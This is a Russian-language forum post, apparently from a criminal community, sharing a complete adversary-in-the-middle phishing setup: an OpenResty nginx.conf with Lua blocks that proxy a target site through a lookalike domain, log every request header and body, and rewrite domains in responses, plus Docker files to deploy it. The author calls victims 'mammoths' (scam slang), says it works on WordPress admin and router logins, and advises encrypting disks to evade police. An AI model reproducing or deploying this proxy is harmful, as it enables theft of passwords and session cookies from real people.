Дисклеймер: ясен пень никто не будет это использовать "в целях самообучения", поэтому шифруйте диски, потому что если менты найдут у вас это ебобо даже на флэшке при себе, то... в общем всем успешно избежить набутыливания!
В общем фишить простые ресурсы это пц как просто оказалось (лично для меня - проще фишлетов для evilginx), поэтому я не поленился и вот вам конфиг
И вот такой например docker-compose.yml чтоб запускать просто:
И вот такой Dockerfile , можно и без него конечно, но вдруг чего доставить какие Lua модули захотите:
Никакие претензии "это ниработает на Фейсбуке и Инсте!" не принимаются - да это криво но оно точно 100пудово работает для простых страниц, цели для FB/Instagram сделать готовенькое и тут выложить - вот даже близко не было! Я за то чтоб люди вдохновились и мозгами пошуршали!
Я для того в виде PoC и публикую, чтобы кому надо доделали сами, а если у вас "не работает" - значит вам оно и не надо, а надо читать мануалы !
Фишит это дело только один домен как видите, соответственно простые WordPress админки или входы на роутер или какую-то ерунду оно залогирует и подменит как здрасьте, проверено!
Бонус такого деплоя: вам не обязательно сервак - с этой штукой можно поиграться локально (и даже в виртуальной машине) поменяв /etc/hosts или C:\Windows\system32\drivers\etc\hosts и доверившись в браузере вашему самоподписанному сертификату.
В общем фишить простые ресурсы это пц как просто оказалось (лично для меня - проще фишлетов для evilginx), поэтому я не поленился и вот вам конфиг
nginx.conf для openresty ну и докерные файлы впридачу чтоб на изи запускать, этот конфиг просто тупо всё логирует заголовки плюс тела запросов и ответов, а в ответах для определёных типов контента подменяет содержимое в частности домен local на remote и обратно где надо, вот рабочий провереный мной лично PoC :
Код:
# LOCALDOMAIN.TLD - это то что вы выдаёте в ссылке для "мамонтёнка"
# REMOTEDOMAIN.TLD - оригинал сайта, таргет
# как всё работает вот кратко смотри картинку тут https://openresty-reference.readthedocs.io/en/latest/Directives/
worker_processes 1;
events { worker_connections 1024; }
http {
resolver 8.8.8.8 8.8.4.4 1.1.1.1 1.0.0.1 ipv6=off valid=300s;
include mime.types;
default_type application/octet-stream;
lua_need_request_body on;
client_max_body_size 10m;
sendfile on;
access_log /dev/stdout combined; # для запуска в докере валим логи в консоль
error_log /dev/stderr debug;
server {
listen 80;
server_name LOCALDOMAIN.TLD *.LOCALDOMAIN.TLD;
return 301 https://$host$request_uri; # редирект на HTTPS
}
server {
listen 443 ssl;
server_name LOCALDOMAIN.TLD *.LOCALDOMAIN.TLD; # тут к сожалению нельзя переменные заюзать
# если хотите поиграться с самоподписанным сертификатом
# openssl req -x509 -nodes -days 365 -newkey rsa:2048 -keyout LOCALDOMAIN.TLD.pem -out LOCALDOMAIN.TLD.pem
ssl_certificate /etc/ssl/certs/LOCALDOMAIN.TLD.pem;
ssl_certificate_key /etc/ssl/private/LOCALDOMAIN.TLD.pem;
location / {
access_by_lua_block {
-- Накуй вебсокеты мы их не сможем да и не надо
local upgrade = ngx.req.get_headers()["Upgrade"]
if upgrade and upgrade:lower() == "websocket" then return end
ngx.req.read_body()
local request_headers = ngx.req.get_headers()
local request_body = ngx.req.get_body_data()
-- Логируем все заголовки запроса "как есть"
io.stdout:write("==== Incoming Request (from Browser) ====\n") io.stdout:flush()
io.stdout:write(ngx.var.request_method, " ", ngx.var.request_uri, " ", ngx.var.server_protocol, "\n") io.stdout:flush()
for k, v in pairs(request_headers) do
if type(v) == "table" then
io.stdout:write(k, ": ", table.concat(v, ", "), "\n") io.stdout:flush()
else
io.stdout:write(k, ": ", v, "\n") io.stdout:flush()
end
end
io.stdout:write(request_body or "\n", "\n") io.stdout:flush()
io.stdout:write("===========================\n") io.stdout:flush()
-- Подменяем заголовки какие надо
for k, v in pairs(request_headers) do
if type(v) == "string" then
ngx.req.set_header(k, v:gsub("LOCALDOMAIN.TLD", "REMOTEDOMAIN.TLD"))
elseif type(v) == "table" then
local new_tbl = {}
for i, val in ipairs(v) do
new_tbl[i] = val:gsub("LOCALDOMAIN.TLD", "REMOTEDOMAIN.TLD")
end
ngx.req.set_header(k, new_tbl)
end
end
-- И ещё раз логируем подменённые - этож концепт, для отладки
local request_headers_m = ngx.req.get_headers()
io.stdout:write("==== Incoming Request (Changed) ====\n") io.stdout:flush()
io.stdout:write(ngx.var.request_method, " ", ngx.var.request_uri, " ", ngx.var.server_protocol, "\n") io.stdout:flush()
for k, v in pairs(request_headers_m) do
if type(v) == "table" then
io.stdout:write(k, ": ", table.concat(v, ", "), "\n") io.stdout:flush()
else
io.stdout:write(k, ": ", v, "\n") io.stdout:flush()
end
end
io.stdout:write("Body: ", request_body or "(empty)", "\n") io.stdout:flush()
io.stdout:write("===========================\n") io.stdout:flush()
}
### proxy_set_header Host $http_host; # уже сделано в access_by_lua_block
proxy_set_header X-Forwarded-For $proxy_add_x_forwarded_for;
proxy_set_header X-Real-IP $remote_addr;
proxy_set_header Accept-Encoding ""; # чтоб remote не вздумал прислать gzip , можно в принципе тоже в access_by_lua_block делать, я просто ленивый
# чтоб вебсокеты вообще работали просто байпассить их будем тупо
proxy_http_version 1.1;
proxy_set_header Upgrade $http_upgrade;
proxy_set_header Connection "upgrade";
proxy_read_timeout 3600s; # для длинных вебсокетных сессий полезно
# end по вебсокетам, выше см.
proxy_ssl_server_name on; # отправляем обязательно SNI чтоб не облажаться например если таргет за CloudFlare в том числе
proxy_pass https://$http_host; # поехали!
# Обрабатываем заголоки ответа
header_filter_by_lua_block {
local response_headers = ngx.resp.get_headers() or {}
-- Логируем заголовки ответа "как есть"
io.stdout:write("==== Response Headers (from Remote) ====\n") io.stdout:flush()
io.stdout:write(ngx.var.server_protocol, " ", ngx.status, "\n") io.stdout:flush()
for k, v in pairs(response_headers) do
if type(v) == "table" then
io.stdout:write(k, ": ", table.concat(v, ", "), "\n") io.stdout:flush()
else
io.stdout:write(k, ": ", v, "\n") io.stdout:flush()
end
end
io.stdout:write("===========================\n") io.stdout:flush()
-- Подменяем чего надо в заголовках ответа
for k, v in pairs(response_headers) do
if type(v) == "string" then
local new_value = v:gsub("REMOTEDOMAIN.TLD", "LOCALDOMAIN.TLD")
if new_value ~= v then
ngx.header[k] = new_value
end
elseif type(v) == "table" then
local new_tbl = {}
for i, val in ipairs(v) do
new_tbl[i] = val:gsub("REMOTEDOMAIN.TLD", "LOCALDOMAIN.TLD")
end
ngx.header[k] = new_tbl
end
end
-- Ещё раз логируем уже поменяные заголовки ответа - для дебага чисто, этож PoC
io.stdout:write("==== Response Headers (Changed) ====\n") io.stdout:flush()
io.stdout:write(ngx.var.server_protocol, " ", ngx.status, "\n") io.stdout:flush()
for k, v in pairs(ngx.header) do
if type(v) == "table" then
io.stdout:write(k, ": ", table.concat(v, ", "), "\n") io.stdout:flush()
else
io.stdout:write(k, ": ", v, "\n") io.stdout:flush()
end
end
io.stdout:write("===========================\n") io.stdout:flush()
-- Инициализируем таблицу Lua для сборки всего body ответа, можно было бы по chunk'ам реплейсить, но есть риск объебаться если то что надо реплейсить будет на границе двух чанков
ngx.ctx.response_body = {}
}
# Обработка тела ответа от remote, вызывается несколько раз по'chunk'ово
body_filter_by_lua_block {
-- забиваем на вебсокеты мы их не можем в рамках данного модуля, если хотите вебсокеты то вариант только свой модуль писать на C
if ngx.var.http_upgrade and ngx.var.http_upgrade:lower() == "websocket" then return end
local chunk, eof = ngx.arg[1], ngx.arg[2] -- ngx.arg[1] это чанк, а ngx.arg[2] это признак eof true/false
if not chunk then return end
-- не везде подменяем, а только для определённых типов контента, ибо в картинках JPG или PNG доменного имени я ещё не видел ни разу :-)
if not ngx.ctx.should_replace then
local content_type = ngx.header.content_type or ""
-- модифицируем только HTML, JS, CSS, or JSON
if content_type:find("text/html") or
content_type:find("application/javascript") or
content_type:find("text/javascript") or
content_type:find("text/css") or
content_type:find("application/json")
then
ngx.ctx.should_replace = true
else
ngx.ctx.should_replace = false
end
end
-- Если не надо ничего менять - тупо passthrough этот chunk (да и последующие этого же контента, например картинки растровой) нетронутым
if not ngx.ctx.should_replace then
return
end
-- собираем чанки
if chunk ~= "" then
table.insert(ngx.ctx.response_body, chunk)
ngx.arg[1] = nil -- don't send the chunk to client yet
end
-- всё прилетело, можно бодик собирать!
if eof then
local response_body = table.concat(ngx.ctx.response_body)
-- и в полностью соббранном бодике ответа уже подменяем чего нам надо
response_body = response_body:gsub("REMOTEDOMAIN.TLD", "LOCALDOMAIN.TLD")
-- логируем поменяный бодик ответа, правда хз нафиг это надо, только логи засирать, потому закомментил
-- io.stdout:write("==== Modified Full Response Body ====\n") io.stdout:flush()
-- io.stdout:write(response_body, "\n") io.stdout:flush()
-- io.stdout:write("=====================================\n") io.stdout:flush()
ngx.arg[1] = response_body # возвращаем целиком поменяный бодик "мамонту" , заголовки ранее уже сделали см. выше
ngx.arg[2] = true
end
}
}
}
}
Код:
services:
openresty:
container_name: "openresty"
build:
context: .
dockerfile: Dockerfile
ports:
- "80:80"
- "443:443"
volumes:
- ./nginx.conf:/usr/local/openresty/nginx/conf/nginx.conf:ro
- ./pem:/etc/ssl/pem:ro
restart: unless-stopped
Код:
# за основу берём openresty свежак на данный момент, полный, на базе Debian 12 Bookworm для AMD64 , если у вас сервак ARM или ARM64 ну образ базовый соответственно смените а этой строке
FROM openresty/openresty:1.27.1.2-5-bookworm-fat-amd64
# ставим дополнительные Lua модули, ну мало ли захочется фиши в БД складывать например
#RUN luarocks install lua-resty-http \
# && luarocks install lua-resty-jwt \
# && luarocks install lua-cjson
# ставим дополнительный софт если надо
#RUN apt-get update && apt-get install -y \
# vim curl git less \
# && rm -rf /var/lib/apt/lists/*
EXPOSE 80 443
# запускаем избегая демонизации - нам логи в консоли нужны потому что
CMD ["/usr/local/openresty/bin/openresty", "-g", "daemon off;"]
Никакие претензии "это ниработает на Фейсбуке и Инсте!" не принимаются - да это криво но оно точно 100пудово работает для простых страниц, цели для FB/Instagram сделать готовенькое и тут выложить - вот даже близко не было! Я за то чтоб люди вдохновились и мозгами пошуршали!
Я для того в виде PoC и публикую, чтобы кому надо доделали сами, а если у вас "не работает" - значит вам оно и не надо, а надо читать мануалы !
Фишит это дело только один домен как видите, соответственно простые WordPress админки или входы на роутер или какую-то ерунду оно залогирует и подменит как здрасьте, проверено!
Бонус такого деплоя: вам не обязательно сервак - с этой штукой можно поиграться локально (и даже в виртуальной машине) поменяв /etc/hosts или C:\Windows\system32\drivers\etc\hosts и доверившись в браузере вашему самоподписанному сертификату.